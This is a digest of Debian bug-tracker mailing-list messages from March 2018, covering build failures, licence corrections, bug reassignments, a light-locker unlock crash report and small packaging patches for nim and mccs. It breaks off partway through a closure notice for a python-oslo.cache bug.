Bug#881014: marked as done (vulkan-utils: upstream adapted Apache-2.0 but debian/copyright wrongly says it's MIT)

[Debian Bug Tracking System]

Your message dated Thu, 08 Mar 2018 07:19:41 +
with message-id 
and subject line Bug#881014: fixed in vulkan 1.0.68+dfsg1-1
has caused the Debian Bug report #881014,
regarding vulkan-utils: upstream adapted Apache-2.0 but debian/copyright 
wrongly says it's MIT
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
881014: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=881014
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: vulkan-utils
Version: 1.0.61.1+dfsg1-1
Severity: serious
Justification: 1

Compare
https://anonscm.debian.org/cgit/pkg-xorg/lib/vulkan.git/tree/debian/copyright
with
https://anonscm.debian.org/cgit/pkg-xorg/lib/vulkan.git/tree/COPYRIGHT.txt
(and
https://anonscm.debian.org/cgit/pkg-xorg/lib/vulkan.git/tree/LICENSE.txt
)

-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.13.0-1-amd64 (SMP w/8 CPU cores)
Locale: LANG=ja_JP.UTF-8, LC_CTYPE=ja_JP.UTF-8 (charmap=UTF-8),
LANGUAGE=ja_JP.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages vulkan-utils depends on:
ii  libc6   2.24-17
ii  libgcc1 1:7.2.0-12
ii  libstdc++6  7.2.0-12
ii  libvulkan1  1.0.61.1+dfsg1-1
ii  libxcb1 1.12-1

vulkan-utils recommends no packages.

vulkan-utils suggests no packages.

-- no debconf information
--- End Message ---
--- Begin Message ---
Source: vulkan
Source-Version: 1.0.68+dfsg1-1

We believe that the bug you reported is fixed in the latest version of
vulkan, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 881...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Timo Aaltonen  (supplier of updated vulkan package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Thu, 08 Mar 2018 08:55:08 +0200
Source: vulkan
Binary: libvulkan1 libvulkan-dev vulkan-utils
Architecture: source
Version: 1.0.68+dfsg1-1
Distribution: unstable
Urgency: medium
Maintainer: Debian X Strike Force 
Changed-By: Timo Aaltonen 
Description:
 libvulkan-dev - Vulkan loader library -- development files
 libvulkan1 - Vulkan loader library
 vulkan-utils - Miscellaneous Vulkan utilities
Closes: 881014
Changes:
 vulkan (1.0.68+dfsg1-1) unstable; urgency=medium
 .
   [ Timo Aaltonen ]
   * New upstream release.
   * copyright: Updated. (Closes: #881014)
   * patches: Refreshed.
   * get-external.sh: Use upstream script to update glslang and spirv-
 tools/headers.
   * get-external.sh, use-known-sha.diff: Don't require git, grep the
 spirv sha from known-good.json and use that.
   * rules: Update glslang build.
   * rules: Tell cmake where glslangValidator is.
   * rules: Update clean target.
   * control: Update VCS urls.
   * control: Bump policy to 4.1.3, no changes.
 .
   [ Andreas Boll ]
   * debian/get-external.sh: Append external Git revision of glslang to
 the commit message.
   * Add man pages for vulkaninfo and vulkan-smoketest.
Checksums-Sha1:
 dc0939f43398ce0476114b7bbaf1d17a5b61b809 2218 vulkan_1.0.68+dfsg1-1.dsc
 38099949e76d711238f10314805b8b0742a2d18b 4181996 
vulkan_1.0.68+dfsg1.orig.tar.xz
 7a27ee3c4c523f7bbda1cbe23bef342acd96f3ff 7916 
vulkan_1.0.68+dfsg1-1.debian.tar.xz
 a81ad91d82784e17d4702d1a57f8fbb75d09ff75 7256 
vulkan_1.0.68+dfsg1-1_source.buildinfo
Checksums-Sha256:
 1ebc084d0f8480a6718085181f578d1b5d5a12e4a175deb6e2fb2e90ebe189ee 2218 
vulkan_1.0.68+dfsg1-1.dsc
 6c6b24760f76b34666d175dde7417214db35ae0e5cafd3423c69a715799a4e35 4181996 
vulkan_1.0.68+dfsg1.orig.tar.xz
 56db463de380a274c6813a0a170220707cf82307675bfeab1d2ca0a581cbe67a 7916 
vulkan_1.0.68+dfsg1-1.debian.tar.xz
 95740e2fa7deba10e51058418a53dfbd4122270321861e5c3830b853107d243e 7256 
vulkan_1.0.68+dfsg1-1_source.buildinfo
Files:
 b54ba782c7b7ddb8497a83b5bf2f349c 2218 libs optional vulkan_1.0.68+dfsg1-1.dsc
 2c0c49dec09cfe2bcedc6504a1d6bedd 4181996 libs optional 
vulkan_1.0.68+dfsg1.orig.tar.xz
 0c455f117262b73a208536c7d3a22bed 7916 libs 

Processed: retitle 892311 to ncl: FTBFS on various architectures

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> retitle 892311 ncl: FTBFS on various architectures
Bug #892311 [src:ncl] nlc: FTBFS on various architectures
Changed Bug title to 'ncl: FTBFS on various architectures' from 'nlc: FTBFS on 
various architectures'.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
892311: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892311
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892311: nlc: FTBFS on various architectures

[Bas Couwenberg]

Source: ncl
Version: 6.4.0-8
Severity: serious
Justification: makes the package in question unusable or mostly so
Control: block 891966 by -1

Dear Maintainer,

The fix for #892154 actually made the situation worse, ncl now FTBS on
many more architectures, see:

 https://buildd.debian.org/status/package.php?p=ncl

You also built the package in an outdated environment on amd64 causing
the rebuild with proj (5.0.0-2) to be reverted.

Kind Regards,

Bas

Processed: nlc: FTBFS on various architectures

[Debian Bug Tracking System]

Processing control commands:

> block 891966 by -1
Bug #891966 [release.debian.org] transition: proj
891966 was blocked by: 889936 892062 876934 889931 892154
891966 was not blocking any bugs.
Added blocking bug(s) of 891966: 892311

-- 
891966: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891966
892311: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892311
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#877469: node-websocket: sourceful upload needed for the nodejs-abi-48 transition

[peter green]

I just tried to do a no-change rebuild of node-websocket in a sid chroot. 
Unfortunately it failed with.

node-gyp clean
module.js:538
throw err;
^

Error: Cannot find module 'graceful-fs'
at Function.Module._resolveFilename (module.js:536:15)
at Function.Module._load (module.js:466:25)
at Module.require (module.js:579:17)
at require (internal/module.js:11:18)
at Object. (/usr/share/node-gyp/lib/node-gyp.js:12:10)
at Module._compile (module.js:635:30)
at Object.Module._extensions..js (module.js:646:10)
at Module.load (module.js:554:32)
at tryModuleLoad (module.js:497:12)
at Function.Module._load (module.js:489:3)
make[2]: *** [Makefile:5: clean] Error 1

Processed: reassign 889529 to src:phpdox, forcibly merging 889122 889529

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> reassign 889529 src:phpdox
Bug #889529 [phpdox] php-finder-facade FTBFS with PHP 7.2
Bug reassigned from package 'phpdox' to 'src:phpdox'.
Ignoring request to alter found versions of bug #889529 to the same values 
previously set
Ignoring request to alter fixed versions of bug #889529 to the same values 
previously set
> forcemerge 889122 889529
Bug #889122 {Done: David Prévot } [src:phpdox] phpdox FTBFS 
with PHP 7.2
Bug #889529 [src:phpdox] php-finder-facade FTBFS with PHP 7.2
Marked Bug as done
Marked as fixed in versions phpdox/0.11.0-1.
Marked as found in versions phpdox/0.10.1-2.
Merged 889122 889529
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
889122: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889122
889529: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889529
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed (with 1 error): reassign 889529 to phpdox, forcibly merging 889122 889529

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> reassign 889529 phpdox
Bug #889529 [src:php-finder-facade] php-finder-facade FTBFS with PHP 7.2
Bug reassigned from package 'src:php-finder-facade' to 'phpdox'.
No longer marked as found in versions php-finder-facade/1.2.2-2.
Ignoring request to alter fixed versions of bug #889529 to the same values 
previously set
> forcemerge 889122 889529
Bug #889122 {Done: David Prévot } [src:phpdox] phpdox FTBFS 
with PHP 7.2
Unable to merge bugs because:
package of #889529 is 'phpdox' not 'src:phpdox'
Failed to forcibly merge 889122: Did not alter merged bugs.

> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
889122: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889122
889529: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889529
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#887967: closed by Abou Al Montacir <abou.almonta...@sfr.fr> (Bug#887967: fixed in fpc 3.0.4+dfsg-14)

[Abou Al Montacir]

On Wed, 2018-03-07 at 18:28 +0100, Paul Gevers wrote:
> Hi Graham,
> 
> On 07-03-18 16:46, Graham Inggs wrote:
> > On Tue, 23 Jan 2018 08:46:09 +0200 Adrian Bunk  wrote:
> > > This problem is unfortunately still present with fpc 3.0.4+dfsg-14:
> > > https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/transgu
> > > i.html
> > > 
> > 
> > This can be worked around by the following change in debian/rules:
> > 
> > -export FPCDIR=/usr/lib/fpc/${FPCDIR}
> > +export FPCDIR=/usr/lib/$(DEB_HOST_MULTIARCH)/fpc/default
> > 
> > However, it was my understanding that this was supposed to be fixed in
> > FPC, so forwarding to the Pascal list for comment.
> 
> No, FPC would fix the default behavior. When FPCDIR is defined in
> debian/rules, it must match. I wonder, does building work without
> defining FPCDIR at all?

I would recommend not defining FPC dir in debian/rules except for the fpc
package itself.
-- 
Cheers,
Abou Al Montacir

signature.asc
Description: This is a digitally signed message part

Processed: Re: Bug#891360 closed by Thomas Goirand <z...@debian.org> (Fixed in 2.8.0-1)

[Debian Bug Tracking System]

Processing control commands:

> reopen -1
Bug #891360 {Done: Thomas Goirand } [src:python-magnumclient] 
python-magnumclient FTBFS: test failures
Bug reopened
Ignoring request to alter fixed versions of bug #891360 to the same values 
previously set

-- 
891360: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891360
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#891360: closed by Thomas Goirand <z...@debian.org> (Fixed in 2.8.0-1)

[Adrian Bunk]

Control: reopen -1

On Wed, Mar 07, 2018 at 08:33:04PM +, Debian Bug Tracking System wrote:
>...
> Date: Wed, 7 Mar 2018 21:30:38 +0100
> From: Thomas Goirand 
> To: 891360-d...@bugs.debian.org
> Subject: Fixed in 2.8.0-1
> 
> Hi,
> 
> Likely, you've built this when I was in the middle of uploading the last
> version of OpenStack or something.

Still FTBFS as of right now:
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/python-magnumclient.html

> Because version 2.8.0-1 builds just
> fine now in Sid.

2.8.0-1 is not in sid:
https://tracker.debian.org/pkg/python-magnumclient

> Therefore closing this bug.
> 
> Cheers,
> 
> Thomas Goirand (zigo)

cu
Adrian

-- 

   "Is there not promise of rain?" Ling Tan asked suddenly out
of the darkness. There had been need of rain for many days.
   "Only a promise," Lao Er said.
   Pearl S. Buck - Dragon Seed

Bug#892290: light-locker: at unlock, crash with: arguments to dbus_message_new_method_call() were incorrect

[Stuart Pook]

Package: light-locker
Version: 1.8.0-1
Severity: grave
Tags: security
Justification: user security hole

Dear Maintainer,

Light-locker crashes when I unlock my session. This means that my session
is not locked the next time it should be,

When I run light-locker at the command line I see:

% light-locker --lock-after-screensaver=3600
dbus[26450]: arguments to dbus_message_new_method_call() were incorrect, 
assertion "path != NULL" failed in file ../../../dbus/dbus-message.c line 1362.
This is normally a bug in some application using the D-Bus library.

  D-Bus not built with -rdynamic so unable to print a backtrace
Aborted

I've installed light-locker-dbgsym but the didn't improve the error
message.

I have various XDG environment variables set.

% env | grep XDG
XDG_CONFIG_HOME=/home/stuart/.config
XDG_MENU_PREFIX=lxde-
XDG_VTNR=7
XDG_SESSION_ID=2
XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/stuart
XDG_SESSION_TYPE=x11
XDG_DATA_DIRS=/usr/local/share:/usr/share:/usr/share/gdm:/var/lib/menu-xdg:/usr/local/share/:/usr/share/:/usr/share/gdm/:/var/lib/menu-xdg/
XDG_SESSION_DESKTOP=LXDE
XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0
XDG_CURRENT_DESKTOP=LXDE
XDG_SEAT=seat0
XDG_RUNTIME_DIR=/run/user/1000
XDG_DATA_HOME=/home/stuart/.local/share
XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0
XDG_CONFIG_DIRS=/etc/xdg



-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (990, 'unstable'), (500, 'unstable-debug'), (500, 'testing'), 
(500, 'stable'), (1, 'experimental')
Architecture: amd64 (x86_64)

Kernel: Linux 4.14.0-3-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_AU.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_AU.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages light-locker depends on:
ii  dconf-gsettings-backend [gsettings-backend]  0.26.1-3
ii  libc62.27-1
ii  libcairo21.15.10-2
ii  libdbus-1-3  1.12.6-2
ii  libdbus-glib-1-2 0.110-2
ii  libglib2.0-0 2.54.3-2
ii  libgtk-3-0   3.22.28-1
ii  libpango-1.0-0   1.40.14-1
ii  libpangocairo-1.0-0  1.40.14-1
ii  libsystemd0  237-4
ii  libx11-6 2:1.6.4-3
ii  libxext6 2:1.3.3-1+b2
ii  libxss1  1:1.2.2-1+b2
ii  lightdm  1.18.3-4

light-locker recommends no packages.

light-locker suggests no packages.

-- Configuration Files:
/etc/xdg/autostart/light-locker.desktop changed:
[Desktop Entry]
Type=Application
Name=Screen Locker
Name[ca]=Bloquejador de pantalla
Name[cs]=Uzamykač obrazovky
Name[da]=Skærmlås
Name[de]=Bildschirmsperre
Name[en_GB]=Screen Locker
Name[es]=Bloqueador de pantalla
Name[fa]=قفل صفحه
Name[fi]=Näytön lukitusohjelma
Name[fr]=Verrouilleur d'écran
Name[gl]=Bloqueado da pantalla
Name[gu]=સ્ક્રીન લૉકર
Name[hi]=परदा अबरोधक
Name[hu]=Képernyőzár
Name[it]=Blocca schermo
Name[ja]=スクリーンのロック
Name[kk]=Экран блоктаушысы
Name[lt]=Ekrano užrakinimas
Name[nb]=Skjermlås
Name[nl]=Schermvergrendeling
Name[or]=ପରଦା ଅବରୋଧକ
Name[pl]=Blokada ekranu
Name[pt]=Bloqueio de Ecrã
Name[pt_BR]=Bloqueio de Tela
Name[ru]=Блокировщик экрана
Name[sk]=Uzamykač obrazovky
Name[tr]=Ekran Kilitleyici
Name[zh_CN]=屏幕锁
Name[zh_TW]=螢幕鎖定
Comment=Launch screen locker program
Comment[ca]=Obre el programa de bloqueig de la pantalla
Comment[cs]=Spustit Uzamykač obrazovky
Comment[da]=Start program for skærmlås
Comment[de]=Bildschirmsperre starten
Comment[en_GB]=Launch screen locker program
Comment[es]=Abrir el programa de bloqueo de pantalla
Comment[fi]=Käynnistä näytön lukitusohjelma
Comment[fr]=Lancer le verrouilleur d'écran
Comment[gl]=Iniciar o programa de bloqueo da pantalla
Comment[gu]=સ્ક્રીન લૉકર પ્રક્રિયાને શરુ કરો
Comment[hi]=परदा अबरोधक प्रोग्राम आरम्भ करें
Comment[hu]=Képernyőzár program indítása
Comment[it]=Lancia il programma blocca schermo
Comment[ja]=スクリーンロックのプログラムを実行する
Comment[kk]=Экранды блоктау бағдарламасын жөнелту
Comment[lt]=Paleisti ekrano užrakinimo programą
Comment[nb]=Kjør skjermlåsningsprogram
Comment[nl]=Schermvergrendelingsprogramma starten
Comment[or]=ପରଦା ଅବରୋଧକ ଆରମ୍ଭ କରନ୍ତୁ
Comment[pl]=Uruchamia program blokady ekranu
Comment[pt]=Lançar o programa de bloqueio do ecrã
Comment[pt_BR]=Iniciar o programa de bloqueio de tela
Comment[ru]=Запустить программу блокировки экрана
Comment[sk]=Spúšťa program na uzamknutie obrazovky
Comment[tr]=Ekran kilitleyici programını başlat
Comment[zh_CN]=启动屏幕锁程序
Comment[zh_TW]=啟動螢幕鎖定程式
Icon=preferences-desktop-screensaver
Exec=light-locker --lock-after-screensaver=3600
NoDisplay=true
NotShowIn=GNOME;Unity;


-- no debconf information

Bug#892292: xpyb FTBFS with xcb-proto 1.13-1

[Adrian Bunk]

Source: xpyb
Version: 1.3.1-1.1
Severity: serious
Tags: buster sid

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/xpyb.html

...
Making all in src
make[3]: Entering directory '/build/1st/xpyb-1.3.1/build-python2.7/src'
ln -s -f /usr/share/xcb/xproto.xml xproto.xml
python2.7 ../../src/py_client.py -p /usr/lib/python2.7/dist-packages 
/usr/share/xcb/xproto.xml
Traceback (most recent call last):
  File "../../src/py_client.py", line 607, in 
from xcbgen.state import Module
  File "/usr/lib/python2.7/dist-packages/xcbgen/state.py", line 7, in 
from xcbgen import matcher
  File "/usr/lib/python2.7/dist-packages/xcbgen/matcher.py", line 12, in 

from xcbgen.xtypes import *
  File "/usr/lib/python2.7/dist-packages/xcbgen/xtypes.py", line 1221, in 

class EventStruct(Union):
  File "/usr/lib/python2.7/dist-packages/xcbgen/xtypes.py", line 1239, in 
EventStruct
out = __main__.output['eventstruct']
KeyError: 'eventstruct'
make[3]: *** [Makefile:1051: xproto.py] Error 1

Bug#892288: arrayfire FTBFS on i386: test segfaults

[Adrian Bunk]

Source: arrayfire
Version: 3.3.2+dfsg1-4
Severity: serious
Tags: buster sid

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/i386/arrayfire.html

...
98% tests passed, 2 tests failed out of 95

Total Test time (real) =  53.16 sec

The following tests FAILED:
  4 - Test_assign_cpu (SEGFAULT)
 43 - Test_index_cpu (SEGFAULT)
Errors while running CTest
Makefile:143: recipe for target 'test' failed
make[2]: *** [test] Error 8


Whatever broke it was not yet in unstable on 2017-12-31,
but likely entered buster before 2018-01-31:
https://tests.reproducible-builds.org/debian/history/arrayfire.html

Bug#855251: easytag corrupt ogg files

[Tobias Brink]

Package: easytag
Version: 2.4.3-1
Followup-For: Bug #855251

Could you please also push the update disabling OGG support to stable? I seem
to have corrupted who knows how many files over the last weeks. This is
especially insidious, since the corrupted files still work in some media
players, but do not work with others (I had huge trouble on my Android phone,
for example, and had no idea it was in fact easytag's fault)!



-- System Information:
Debian Release: 9.3
  APT prefers stable
  APT policy: (990, 'stable'), (500, 'stable-updates'), (500, 'stable-debug')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.9.0-6-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8), LANGUAGE= 
(charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages easytag depends on:
ii  dconf-gsettings-backend [gsettings-backend]  0.26.0-2+b1
ii  libc62.24-11+deb9u1
ii  libflac8 1.3.2-1
ii  libgcc1  1:6.3.0-18+deb9u1
ii  libgdk-pixbuf2.0-0   2.36.5-2+deb9u2
ii  libglib2.0-0 2.50.3-2
ii  libgtk-3-0   3.22.11-1
ii  libid3-3.8.3v5   3.8.3-16.2+b1
ii  libid3tag0   0.15.1b-12
ii  libogg0  1.3.2-1
ii  libopus0 1.2~alpha2-1
ii  libopusfile0 0.8-1+b1
ii  libspeex11.2~rc1.2-1+b2
ii  libstdc++6   6.3.0-18+deb9u1
ii  libtag1v51.11.1+dfsg.1-0.1
ii  libvorbis0a  1.3.5-4+deb9u1
ii  libvorbisfile3   1.3.5-4+deb9u1
ii  libwavpack1  5.0.0-2+deb9u1

Versions of packages easytag recommends:
ii  gnome-icon-theme  3.12.0-2
ii  gvfs  1.30.4-1
ii  yelp  3.22.0-1

Versions of packages easytag suggests:
pn  easytag-nautilus  

-- no debconf information

Bug#892108: Patch for several FTBFS

[Frédéric Bonnard]

Package: src:nim
Version: 0.18.0-1
Tags: patch pending
User: debian-powe...@lists.debian.org
Usertags: ppc64el 

--

Dear maintainer,

I see that the package nim fails to build on ppc64el :
https://buildd.debian.org/status/fetch.php?pkg=nim=ppc64el=0.18.0-1=1520093894=0
but also on arm64 and ppc64.
It seems that the debian/platforms.table file is a bit outdated.
Also a previous bug (#876526) about a FTBFS on mips64el was fixed by
removing support on that arch, but providing the proper mapping in
platforms.table enables the build to finish sucessfully.
Here is a debdiff and some build logs on mips64el and arm64 :
http://debomatic-mips64el.debian.net/distribution#unstable/nim/0.18.0-1fixFTBFS1/buildlog
http://debomatic-arm64.debian.net/distribution#unstable/nim/0.18.0-1fixFTBFS1/buildlog
(I tested myself on ppc64el and it worked too).

Regards.
F.


pgpNu3afSX2he.pgp
Description: PGP signature
diff -Nru nim-0.18.0/debian/changelog nim-0.18.0/debian/changelog
--- nim-0.18.0/debian/changelog 2018-03-03 15:38:45.0 +0100
+++ nim-0.18.0/debian/changelog 2018-03-07 19:07:30.0 +0100
@@ -1,3 +1,9 @@
+nim (0.18.0-1fixFTBFS1) UNRELEASED; urgency=medium
+
+  * Fix FTBFS on ppc64, ppc64el, arm64 and re-enable mips64el
+
+ -- Frédéric Bonnard   Wed, 07 Mar 2018 19:06:24 +0100
+
 nim (0.18.0-1) unstable; urgency=medium
 
   * New upstream release
diff -Nru nim-0.18.0/debian/control nim-0.18.0/debian/control
--- nim-0.18.0/debian/control   2018-03-03 15:38:45.0 +0100
+++ nim-0.18.0/debian/control   2018-03-07 19:05:07.0 +0100
@@ -12,7 +12,7 @@
 Vcs-Browser: https://salsa.debian.org/debian/nim
 
 Package: nim
-Architecture: amd64 arm64 armel armhf i386 mips mipsel powerpc ppc64 ppc64el
+Architecture: amd64 arm64 armel armhf i386 mips mipsel mips64el powerpc ppc64 
ppc64el
 Depends: ${shlibs:Depends},
  ${misc:Depends},
  libssl1.1
diff -Nru nim-0.18.0/debian/platforms.table nim-0.18.0/debian/platforms.table
--- nim-0.18.0/debian/platforms.table   2018-03-03 15:38:45.0 +0100
+++ nim-0.18.0/debian/platforms.table   2018-03-07 19:06:09.0 +0100
@@ -10,12 +10,13 @@
 m68k   m68k
 alpha  alpha
 powerpcpowerpc
-ppc64  powerpc64
-ppc64elpowerpc64el
+ppc64  ppc64
+ppc64elppc64le
 sparc  sparc
 ia64   ia64
 amd64  amd64
 mips   mips
 mipsel mipsel
+mips64el   mips64el
 armarm
-arm64  arm64
+arm64  aarch64


pgpnx_9vKWR37.pgp
Description: PGP signature

Bug#891521: marked as done (mccs FTBFS with flex 2.6.4-6)

[Debian Bug Tracking System]

Your message dated Wed, 07 Mar 2018 21:07:07 +
with message-id 
and subject line Bug#891521: fixed in mccs 1:1.1-7
has caused the Debian Bug report #891521,
regarding mccs FTBFS with flex 2.6.4-6
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
891521: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891521
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: mccs
Version: 1:1.1-6
Severity: serious
Tags: patch

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/mccs.html

...
g++ -Wall -O6 -Wl,-z,relro  -DUSELPSOLVE -o mccs objs/cudf.o 
objs/constraint_generation.o objs/lp_solver.o objs/pblib_solver.o 
objs/removed_criteria.o objs/changed_criteria.o objs/new_criteria.o 
objs/notuptodate_criteria.o objs/nunsat_criteria.o objs/count_criteria.o 
objs/unaligned_criteria.o objs/lexicographic_combiner.o 
objs/lexagregate_combiner.o objs/agregate_combiner.o 
objs/lexsemiagregate_combiner.o objs/leximin_combiner.o objs/leximax_combiner.o 
objs/lexleximin_combiner.o objs/lexleximax_combiner.o objs/cudf_reductions.o 
objs/lpsolve_solver.o -lfl -L. -lccudf \
 \
 \
-L/usr/lib -llpsolve55 -ldl -lcolamd \

/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/libfl.so: undefined 
reference to `yylex'
collect2: error: ld returned 1 exit status
make[1]: *** [makefile:55: mccs] Error 1


Fix is attached.
Description: Remove unused linking with libfl
 Due to the yylex requirement this caused FTBFS
 when a shared libfl is provided.
Author: Adrian Bunk 

--- mccs-1.1.orig/makefile
+++ mccs-1.1/makefile
@@ -52,7 +52,7 @@ endif
 
 # to make mccs solver
 mccs:  $(OBJS) libccudf.a
-   $(CCC) -o mccs $(OBJS) -lfl -L. -lccudf \
+   $(CCC) -o mccs $(OBJS) -L. -lccudf \
$(CPXLD) \
$(GUROBILD) \
$(LPSOLVELD) \
@@ -60,7 +60,7 @@ mccs:  $(OBJS) libccudf.a
 
 # to make a light version of mccs solver which does not include libccudf
 mccs-light:  $(OBJS) libccudf.so
-   $(CCC) -o mccs $(OBJS) -lfl -L. -lccudf -Wl,-rpath,$(PWD) \
+   $(CCC) -o mccs $(OBJS) -L. -lccudf -Wl,-rpath,$(PWD) \
$(CPXLD) \
$(GUROBILD) \
$(LPSOLVELD) \
@@ -68,7 +68,7 @@ mccs-light:  $(OBJS) libccudf.so
 
 # to make a static version of mccs solver (cannot be done with Gurobi: no 
static library)
 mccs-static: $(OBJS) libccudf.a
-   $(CCC) -o mccs -static $(OBJS) -lfl -L. -lccudf \
+   $(CCC) -o mccs -static $(OBJS) -L. -lccudf \
$(CPXLD) \
$(LPSOLVELD) \
$(GLPKLD) \
--- End Message ---
--- Begin Message ---
Source: mccs
Source-Version: 1:1.1-7

We believe that the bug you reported is fixed in the latest version of
mccs, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 891...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Ralf Treinen  (supplier of updated mccs package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Wed, 07 Mar 2018 20:54:08 +0100
Source: mccs
Binary: mccs
Architecture: source
Version: 1:1.1-7
Distribution: unstable
Urgency: medium
Maintainer: Ralf Treinen 
Changed-By: Ralf Treinen 
Description:
 mccs   - multi-critera CUDF solver
Closes: 891521
Changes:
 mccs (1:1.1-7) unstable; urgency=medium
 .
   * patch no-lfl: do not link with libfl. Thanks a lot to Adrian Bunk for
 the patch! (closes: #891521). Drop libfl-dev from build-dependencies.
   * Standards-Version 4.1.3:
 - priority optional
 - d/copyright: use https: in format specifier
   * DH compat level 11, bump build dependency on debhelper.
Checksums-Sha1:
 4f7bffbeb956f70e20c568931ee58796988c132a 1908 mccs_1.1-7.dsc
 38915b605e1b5df06ceef08777f3f6cbc7f5f98c 7128 mccs_1.1-7.debian.tar.xz
 6a9e7f6a0e95ed38ffe7fb51c9389c0ede38dad2 6094 mccs_1.1-7_source.buildinfo
Checksums-Sha256:
 5d8d62669d4a24195fe17e1d8c9f1a04ae2cd49170a65c76c50c764416f42c0f 1908 
mccs_1.1-7.dsc
 42820be2673846f998d7a072412bba3f69fb702dcfe725aeb5310da937a2c81e 7128 

Processed: Reopening bugs in funny-manpages that are still present

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> unarchive 269990
Bug #269990 {Done: Debian FTP Masters } 
[funny-manpages] funny-manpages: Spelling Error in uubp.1fun manpage
Unarchived Bug 269990
> reopen 269990
Bug #269990 {Done: Debian FTP Masters } 
[funny-manpages] funny-manpages: Spelling Error in uubp.1fun manpage
'reopen' may be inappropriate when a bug has been closed with a version;
all fixed versions will be cleared, and you may need to re-add them.
Bug reopened
No longer marked as fixed in versions 1.3-5.1+rm.
> unarchive 737395
Bug #737395 {Done: Debian FTP Masters } 
[funny-manpages] funny-manpages: Copyright problem
Unarchived Bug 737395
> reopen 737395
Bug #737395 {Done: Debian FTP Masters } 
[funny-manpages] funny-manpages: Copyright problem
'reopen' may be inappropriate when a bug has been closed with a version;
all fixed versions will be cleared, and you may need to re-add them.
Bug reopened
No longer marked as fixed in versions 1.3-5.1+rm.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
269990: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=269990
737395: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737395
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#891124: marked as done (python-oslo.cache: FTBFS with ModuleNotFoundError: No module named 'urllib3', 'oslotest')

[Debian Bug Tracking System]

Your message dated Wed, 7 Mar 2018 21:46:16 +0100
with message-id 
and subject line Closing but
has caused the Debian Bug report #891124,
regarding python-oslo.cache: FTBFS with ModuleNotFoundError: No module named 
'urllib3', 'oslotest'
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
